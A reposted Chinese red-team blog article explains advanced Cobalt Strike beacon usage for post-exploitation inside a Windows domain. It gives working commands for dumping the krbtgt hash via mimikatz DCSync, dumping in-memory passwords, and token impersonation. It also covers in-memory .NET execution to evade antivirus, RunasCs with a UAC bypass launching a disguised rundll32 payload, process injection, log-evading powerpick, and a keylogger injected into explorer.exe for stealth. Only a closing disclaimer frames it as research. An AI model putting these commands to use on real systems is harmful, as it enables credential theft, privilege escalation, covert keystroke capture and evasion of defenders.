CobaltStrike高级用法

admin 2026-01-20 01:21:37 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详解CobaltStrike高级功能,涵盖利用mimikatz导出krbtgt哈希制作黄金票据、获取凭据及make_token伪造网络身份。重点介绍execute-assembly无文件执行.NET程序、runasCs绕过UAC提权、进程注入、PowerPick无进程运行PowerShell等隐蔽技术,还涉及端口扫描与键盘记录,旨在增强红队内网渗透的隐蔽性与操作效率。 综合评分: 89 文章分类: 红队,渗透测试,内网渗透,安全工具,免杀


cover_image

CobaltStrike 高级用法

Ly4j Ly4j

Ly4j攻防手记

2026年1月19日 07:45 北京

介绍下CobaltStrike 中比较强大的一些beacon命令

2.1. mimikatz

  1. 当拥有域管权限时,导出 krbtgt 账户哈希
#mimikatz privilege::debug      当导入了票据时无需执行这个
mimikatz lsadump::dcsync /domain:<域名> /user:krbtgt

  1. 查看当前会话中的票据
mimikatz kerberos::list

2.2. 导出 hash

  1. dumphash

是从 sam 数据库里读取的,而不是内存中。所以抓取不到在线的域用户 hash

  1. 从内存读取
logonpasswords

2.3. make_token

make_token 用于伪造网络凭据,但不能让进程拥有本地管理员权限。

| | | | — | — | | 能力 | 是否支持 | | 访问本地文件系统 | ❌ 不支持(Error 5) | | 执行管理员操作 | ❌ 不支持 | | 像管理员一样控制本地系统 | ❌ 不支持 | | 用这些凭据访问网络共享(SMB) | ✔ 仅支持网络访问 | | 让进程伪装成管理员向远程主机发起连接 | ✔ 有用 |

make_token <域\用户名> <密码>

如下由于域用户被加入到了 192.168.10.26 的本地管理员组,这个命令会使用 test\tom 的身份 生成一个令牌,让当前 beacon 以此用户身份执行操作。然后就能直接查看 192.168.10.26 的信息

2.4. 黄金票据制作

当拥有了 krbtgt 哈希,制作黄金票据

2.5. 端口扫描

Cobalt Strike 的 portscan 主要使用 已上线的 Beacon 作为扫描代理,并采用 低噪音的 TCP 连接方式 来探测端口状态。

如果你想让已经上线的 Beacon 直接扫描另一台主机的端口,可以使用:

portscan 192.168.1.100

这会扫描目标 192.168.1.100 的常见端口,并返回结果。

如果要扫描特定端口范围,例如 1-65535,可以使用:

portscan 192.168.1.100 1-65535

对主机 192.168.10.2 端口扫描,但是不会识别到操作系统信息

在使用的 dnsbeacon 时,portscan 端口扫描不准确。开放了显示没开放。

2.6. execute-assembly 内存加载执行

execute-assembly 用于无文件落地运行 .NET 程序,它不会在磁盘上写入 exe 文件,而是直接在内存中加载并执行程序。需要目标主机安装了 .NET Framework

执行流程:

  • Cobalt Strike 读取 .NET 可执行文件(EXE)
  • Beacon 将 EXE 传输到目标内存
  • Beacon 在当前进程中创建一个 .NET 运行环境
  • Beacon 通过 Assembly.Load 在内存中加载并执行 EXE
  • 执行结束后,不会留下落地文件
#execute-assembly 本地.exe文件路径
execute-assembly c:\users\admin\desktop\xx.exe

如下目标主机存在杀软,直接传工具上去会被杀,利用execute-assembly 在本地执行工具绕过杀软

优点:

  • 无落地,不触碰磁盘,降低被检测的风险
  • 直接在内存运行,避免杀软基于文件的扫描
  • 适用于所有 .NET EXE(C# 开发的工具,比如 SharpHoundRubeus 等)

缺点:

  • 仅支持 .NET EXE(不支持 C/C++/go 编写的 EXE)
  • 执行环境受限制,必须在 .NET 兼容的环境中运行
  • 可能触发 EDR/AV 监控,因为很多 EDR 会拦截 内存加载的 .NET Assembly

2.6.1. runasCs

RunasCs 是一款 C# 编写的 Windows 权限提升 / 令牌伪造工具(Token Manipulation Tool),主要用于在本地系统中“以其它用户身份执行命令”,与 Windows 自带的 runas.exe 类似,但功能更强大

项目:https://github.com/antonioCoco/runasCs

当我们以普通用户上线了 cs,我们已知了一个管理员账号密码。我们想让以管理员权限上线一个 beacon,可以通过使用RunasCs 实现

  1. 执行命令
execute-assembly C:\Users\admin\Desktop\RunasCs\runasCs.exe 指定账号 密码 "执行的命令"
execute-assembly C:\Users\admin\Desktop\RunasCs\runasCs.exe Administrator 123.com "rundll32 C:\ProgramData\Microsoft\DeviceSync\SystemSettings.bin,dllmain"

  1. 以 administrator 权限执行,并回显命令结果

这里 admin 是管理员组账号,但不是 administrator 账号,所以权限是有限制的,还需要绕过 UAC 提权为真正的管理员

execute-assembly C:\Users\admin\Desktop\RunasCs\runasCs.exe admin 123.com --logon-type 8 --bypass-uac "cmd /c dir c:\users\administrator"
  • –logon-type 8  让 RunasCs 用管理员凭据创建一个“真正的登录 token”。

2.7. 进程注入

选择要注入的进程 services.exe,点击 Inject,然后选择监听器。免杀绕过 defender 上线后,进程注入操作未被拦截。

2.8. powershell-import

powershell-import 命令会导入本地 PowerShell 脚本到 Beacon 的内存中,然后调用目标的 powershell.exe 进程并执行导入的脚本。

powershell-import 本地xx.ps1文件
powershell command

案例 1:

本地 split.ps1 文件如下,用于将目标机器上的 base.dat 文件分割为 10 个小文件

$file = "E:\MariaDB 10.2\data\test\base.dat"
$splitSize = [math]::Ceiling((Get-Item $file).Length / 10)
$stream = [System.IO.File]::OpenRead($file)
$buffer = New-Object byte[] $splitSize
for ($i = 1; $i -le 10; $i++) {
&nbsp; &nbsp; $bytesRead = $stream.Read($buffer, 0, $splitSize)
&nbsp; &nbsp; [System.IO.File]::WriteAllBytes("$file.part$i", $buffer[0..($bytesRead-1)])
}
$stream.Close()

然后执行

powershell-import c:\users\admin\desktop\split.ps1
powershell "split.ps1"

2.9. powerpick

powerpick 是 Cobalt Strike(CS) 内置的 无进程(Unmanaged)PowerShell 执行方式,不会启动 powershell.exe 进程,从而绕过 Windows 事件日志、AV/EDR 监控。适用于执行单条或多条 powershell 命令。

特点:

  • 🔹不调用powershell.exe → 代码在 beacon 进程中运行,不会触发基于进程的检测。
  • 🔹直接执行 PowerShell 代码 → 适用于执行单条 PowerShell 命令。无法执行复杂的 PowerShell 脚本。
  • 🔹使用 .NETSystem.Management.Automation → 通过 C# 执行 PowerShell 代码,而不是通过 powershell.exe 进程。
  • 🔹适用于 Windows 7 及以上系统,兼容 Windows Server 2008 R2+。

需要执行如下单条 powershell 命令,用于将目标机器上的 2.exe 文件分割为 10 个小文件

$file&nbsp;=&nbsp;"C:\Users\Administrator\Desktop\2.exe";&nbsp;$splitSize&nbsp;= [math]::Ceiling((Get-Item&nbsp;$file).Length /&nbsp;10);&nbsp;$stream&nbsp;= [System.IO.File]::OpenRead($file);&nbsp;$buffer&nbsp;=&nbsp;New-Object&nbsp;byte[]&nbsp;$splitSize;&nbsp;for&nbsp;($i&nbsp;=&nbsp;1;&nbsp;$i&nbsp;-le&nbsp;10;&nbsp;$i++) {&nbsp;$bytesRead&nbsp;=&nbsp;$stream.Read($buffer,&nbsp;0,&nbsp;$splitSize); [System.IO.File]::WriteAllBytes("$file.part$i",&nbsp;$buffer[0..($bytesRead-1)]) };&nbsp;$stream.Close()

在 beacon 中执行,只需要在命令最前面加 powerpick 即可

powerpick&nbsp;"$file&nbsp;= 'C:\Users\Administrator\Desktop\2.exe';&nbsp;$splitSize&nbsp;= [math]::Ceiling((Get-Item&nbsp;$file).Length / 10);&nbsp;$stream&nbsp;= [System.IO.File]::OpenRead($file);&nbsp;$buffer&nbsp;= New-Object byte[]&nbsp;$splitSize; for ($i&nbsp;= 1;&nbsp;$i&nbsp;-le 10;&nbsp;$i++) {&nbsp;$bytesRead&nbsp;=&nbsp;$stream.Read($buffer, 0,&nbsp;$splitSize); [System.IO.File]::WriteAllBytes('$file.part$i',&nbsp;$buffer[0..($bytesRead-1)]) };&nbsp;$stream.Close()"

目标机器上不会启动任何 powershelll 进程

如果不行的话执行

shell powershell命令

2.10. 显示目标机器的时间

显示目标机器的当前时间(小时和分钟)。

shell time /t

2.11. 键盘记录

  1. 启动键盘记录

使用 keylogger 命令,在目标进程中注入键盘记录器:

keylogger [进程pid] [x86|x64]

这里推荐选择 explorer.exe 进程进行注入,因为它通常是持久运行的用户进程,能更隐蔽地收集输入数据。获取 explorer.exe 进程的 pid。

  1. 当目标用户在机器上进行键盘输入时,Cobalt Strike 的 Beacon 将记录目标系统的所有键盘输入(包括 cmd、应用程序、网页等)。

可以捕获目标系统上的所有键盘输入

  1. 关闭键盘记录器,键盘记录器不会自动停止,需要手动结束
jobs
kill 对应进程PID

注意:当用户 RDP 到当前机器时,无法捕获输入的 rdp 密码。RDP 登录时,Windows 采用 “Winlogon” 进程 处理登录凭据,而 Cobalt Strike 的 Keylogger 只能记录用户会话下的按键输入,无法直接记录安全桌面输入。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ly4j攻防手记 Ly4j Ly4j《CobaltStrike 高级用法》

评论:0   参与:  0